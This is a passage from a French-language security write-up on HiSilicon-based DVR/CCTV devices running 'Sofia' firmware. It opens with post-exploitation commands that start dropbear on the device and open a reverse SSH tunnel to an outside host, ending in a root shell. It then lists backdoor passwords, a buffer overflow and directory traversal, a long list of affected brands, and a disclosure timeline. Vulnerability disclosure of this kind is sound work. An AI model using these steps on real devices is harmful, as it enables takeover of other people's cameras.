$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
L'appareil est maintenant accessible via le tunnel inverse en SSH :
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== résumé
Voici les vulnérabilités documentées :
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|vulnérabilité |risque |service |découverte |impact
|mot de passe Telnet codé en dur (backdoor) |élevé |23/tcp |auparavant par d'autres
|toute personne ayant accès à l'interface Telnet peut prendre le contrôle total
de l'appareil, même si l'utilisateur définit des mots de passe adéquats
|accès à un shell root avec n'importe quel compte applicatif |élevé |9527/tcp |par
l'auteur |toute personne disposant d'un compte applicatif et ayant accès
à la console de service peut élever ses privilèges jusqu'au contrôle total (shell)
de l'appareil
|*mot de passe applicatif backdoor* |critique |80/tcp, 554/tcp |par
l'auteur |n'importe qui peut accéder à l'appareil en tant qu'administrateur applicatif, même
si l'utilisateur a défini des mots de passe forts pour protéger
l'appareil
|*dépassement de tampon dans le serveur Web intégré* |critique |80/tcp |par
l'auteur |en exploitant le dépassement de tampon, l'attaquant peut obtenir une exécution de code à distance en root
sur l'appareil (aucune authentification requise), installer des backdoors,
des logiciels malveillants et d'autres contenus malveillants
|traversée de répertoire |élevé |80/tcp |auparavant par d'autres (?) et par
l'auteur |accès en lecture non autorisé à tout (par exemple les flux enregistrés)
sur l'appareil, aide également à exploiter le dépassement de tampon
|=======================================================================
Si quelqu'un pense que seul cet appareil de marque « Seculink » est concerné
par ces graves vulnérabilités, il se trompe. La gamme des appareils
concernés est très large. Tout appareil construit avec ce type
de matériel HiSilicon SoC est vulnérable. Ces appareils partagent (presque) le même
firmware avec cette application binaire appelée « Sofia ». La
vulnérabilité ci-dessus (même le script complet) fonctionne presque de manière fiable
sans modification sur de nombreux matériels différents.
Voici une liste (non exhaustive) des marques concernées :
image::./brands_affected.png[marques concernées]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
En général, on peut dire que ce type d'appareils IoT bon marché est
un cauchemar en matière de sécurité. Chaque appareil testé récemment par l'auteur présentait une
vulnérabilité grave ou critique. Du point de vue d'un pentester, la
recommandation est que ce type d'appareils doit être bien isolé,
ce type d'appareils ne doit pas partager le même réseau que des données importantes et
confidentielles. Malheureusement, il n'y a pratiquement aucune chance d'obtenir des mises à jour
avec des correctifs pour de tels firmwares.
Enfin, il est important de mentionner que cette vulnérabilité de dépassement de tampon
(avec le code PoC de l'exploit) a été divulguée via le programme
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) de https://www.beyondsecurity.com/[Beyond Security]. Le
fabricant (HiSilicon) avait été notifié (par Beyond Security) à la fin de
2016, mais il n'y a pas eu de réponse avant que la vulnérabilité ne soit rendue publique
(c'est malheureusement une pratique courante).
La divulgation publiée en février 2017 est disponible
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[ici].
*MISE À JOUR (2023-01-01) :* Cette recherche est référencée par https://vulncheck.com/[VulnCheck]
(le 2022-11-30) dans cet article sur le piratage des appareils Xiongmai
par https://twitter.com/Junior_Baines[Jacob Baines] :
https://vulncheck.com/blog/xiongmai-iot-exploitation